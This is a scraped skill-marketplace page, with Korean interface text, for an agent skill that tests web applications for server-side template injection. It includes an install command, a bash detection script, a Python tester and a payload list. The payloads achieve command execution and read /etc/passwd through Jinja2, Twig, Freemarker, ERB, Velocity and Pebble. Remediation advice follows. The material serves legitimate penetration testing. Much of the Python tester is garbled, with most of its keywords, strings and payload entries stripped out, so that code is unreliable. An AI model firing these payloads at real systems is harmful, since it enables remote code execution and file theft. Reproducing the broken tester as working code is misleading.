wstg-inpv-18

Testing for Server-Side Template Injection (SSTI)

설치로 이동

저장소: CyberStrikeus/CyberStrike
최근 소스 활동: 2026년 4월 28일 23:54
감지된 SKILL.md 언어: 영어
스타: 1,653
포크: 254

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.

직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.

npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-18

명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.

로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md

소스 지침 · 읽기 전용 미리보기

검색으로 돌아가기 설치로 돌아가기

wstg-inpv-18

Test ID

WSTG-INPV-18

Test Name

Testing for Server-Side Template Injection (SSTI)

High-Level Description

Server-Side Template Injection occurs when user input is embedded in templates in an unsafe manner. Attackers can inject template directives to execute arbitrary code on the server, read files, or access sensitive data. This affects frameworks like Jinja2, Twig, Freemarker, Velocity, and others.

What to Check

How to Test

Step 1: Detect Template Engine

#!/bin/bash
TARGET="https://target.com/page"

echo "[*] Testing for SSTI..."

# Universal detection payloads
PAYLOADS=(
    "{{7*7}}"
    "${7*7}"
    "<%= 7*7 %>"
    "#{7*7}"
    "*{7*7}"
    "@(7*7)"
    "{{7*'7'}}"
    "${{7*7}}"
)

for payload in "${PAYLOADS[@]}"; do
    encoded=$(echo -n "$payload" | jq -sRr @uri)
    response=$(curl -s "$TARGET?name=$encoded")
    if echo "$response" | grep -q "49"; then
        echo "[VULN] SSTI detected with: $payload"
    fi
done

Step 2: SSTI Vulnerability Tester

#!/usr/bin/env python3
"""
Server-Side Template Injection (SSTI) Tester
"""

import requests
import re

class SSTITester:
    def __init__(self, url):
        self.url = url
        self.findings = []
        self.session = requests.Session()
        self.detected_engine = None

    # Detection payloads for different template engines
    DETECTION_PAYLOADS = {
        'Jinja2/Twig': ['{{7*7}}', '{{7*\'7\'}}'],
        'Freemarker': ['${7*7}', '#{7*7}'],
        'Velocity': ['#set($x=7*7)$x', '$class.inspect("java.lang.Runtime")'],
        'Smarty': ['{php}echo 7*7;{/php}', '{7*7}'],
        'ERB': ['<%= 7*7 %>', '<%= system("id") %>'],
        'Mako': ['${7*7}', '<%import os%>${os.popen("id").read()}'],
        'Pebble': ['{{7*7}}', '{% set x=7*7 %}{{x}}'],
        'Thymeleaf': ['[[${7*7}]]', '[(${7*7})]'],
    }

    # RCE payloads by template engine
    RCE_PAYLOADS = {
        'Jinja2': [
            "{{config}}",
            "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}",
            "{{''.__class__.__mro__[1].__subclasses__()}}",
            ,
            ,
        ],
        : [
            ,
            ,
            ,
        ],
        : [
            ,
            ,
        ],
        : [
            ,
        ],
        : [
            ,
            ,
            ,
        ],
        : [
            ,
            ,
        ],
        : [
            ,
        ],
    }

     ():
        
        ()

         engine, payloads  .DETECTION_PAYLOADS.items():
             payload  payloads:
                :
                    response = .session.get(
                        .url,
                        params={param: payload}
                    )

                    
                       response.text  payload   response.text:
                        ()
                        ()
                        .detected_engine = engine.split()[]
                        .findings.append({
                            : ,
                            : engine,
                            : payload,
                            : 
                        })
                         engine

                 Exception  e:
                    

         

     ():
        
        ()

          .detected_engine:
            
            engines_to_test = .RCE_PAYLOADS.keys()
        :
            engines_to_test = [.detected_engine]

         engine  engines_to_test:
             engine   .RCE_PAYLOADS:
                

             payload  .RCE_PAYLOADS[engine]:
                :
                    response = .session.get(
                        .url,
                        params={param: payload}
                    )

                    
                       response.text    response.text:
                        ()
                        ()
                        .findings.append({
                            : ,
                            : engine,
                            : payload,
                            : 
                        })
                         

                    
                       response.text    response.text.lower():
                        ()
                        .findings.append({
                            : ,
                            : engine,
                            : payload,
                            : 
                        })

                 Exception  e:
                    

         

     ():
        
        ()

         time

        blind_payloads = [
            
            ,
            
            ,
            
            ,
        ]

         payload  blind_payloads:
            :
                start = time.time()
                .session.get(
                    .url,
                    params={param: payload},
                    timeout=
                )
                elapsed = time.time() - start

                 elapsed > :
                    ()
                    ()
                    .findings.append({
                        : ,
                        : payload,
                        : elapsed,
                        : 
                    })
                     

             Exception  e:
                

         

     ():
        
        ( + *)
        ()
        (*)

          .findings:
            ()
        :
             f  .findings:
                ()
                   f:
                    ()
                   f:
                    ()

     ():
        
        .detect_template_engine(param)
        .test_rce(param)
        .test_blind_ssti(param)
        .generate_report()


tester = SSTITester()
tester.run_tests()

Step 3: SSTI Payload Reference

# Jinja2 (Python)
{{config}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{lipsum.__globals__.os.popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}

# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{["id"]|map("system")|join}}

# Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation()}

# ERB (Ruby)
<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").readlines() %>

# Velocity (Java)
#set($runtime=RuntimeClass().getRuntime())$runtime.exec('id')

# Pebble (Java)
{%set cmd='id'%}{{variable.getClass().forName('java.lang.Runtime').getRuntime().exec(cmd)}}

Tools

Tool	Purpose
tplmap	Automated SSTI exploitation
Burp Suite	Manual testing
SSTImap	SSTI scanner

Remediation

# Jinja2 - Use sandboxed environment
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
template = env.from_string(user_template)

# Better: Never allow user-controlled templates
# Only allow user data as variables
template = env.get_template('fixed_template.html')
output = template.render(user_data=safe_data)

// Freemarker - Disable dangerous classes
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);

Risk Assessment

Finding	CVSS	Severity
SSTI with RCE	9.8	Critical
SSTI config disclosure	7.5	High
SSTI file read	7.5	High

CWE Categories

CWE ID	Title
CWE-1336	Improper Neutralization of Special Elements Used in a Template Engine

Checklist

[ ] Template engine detected
[ ] RCE payloads tested
[ ] Blind SSTI tested
[ ] Config disclosure tested
[ ] Sandbox escape tested
[ ] Findings documented

name	wstg-inpv-18
description	Testing for Server-Side Template Injection (SSTI)
category	input-validation
owasp_id	WSTG-INPV-18
version	1.0.0
author	cyberstrike-official
tags	["injection","input-validation","xss","sqli","wstg","inpv"]
tech_stack	[]
cwe_ids	[]

name	wstg-inpv-18
description	Testing for Server-Side Template Injection (SSTI)
category	input-validation
owasp_id	WSTG-INPV-18
version	1.0.0
author	cyberstrike-official
tags	["injection","input-validation","xss","sqli","wstg","inpv"]
tech_stack	[]
cwe_ids	[]

wstg-inpv-18

소스 정보

설치 방법

소스 파일 검토

이 저장소의 다른 Skills

이 저장소의 다른 Skills

wstg-inpv-18

Test ID

Test Name

High-Level Description

What to Check

How to Test

Step 1: Detect Template Engine

Step 2: SSTI Vulnerability Tester

Step 3: SSTI Payload Reference

Tools

Remediation

Risk Assessment

CWE Categories

Checklist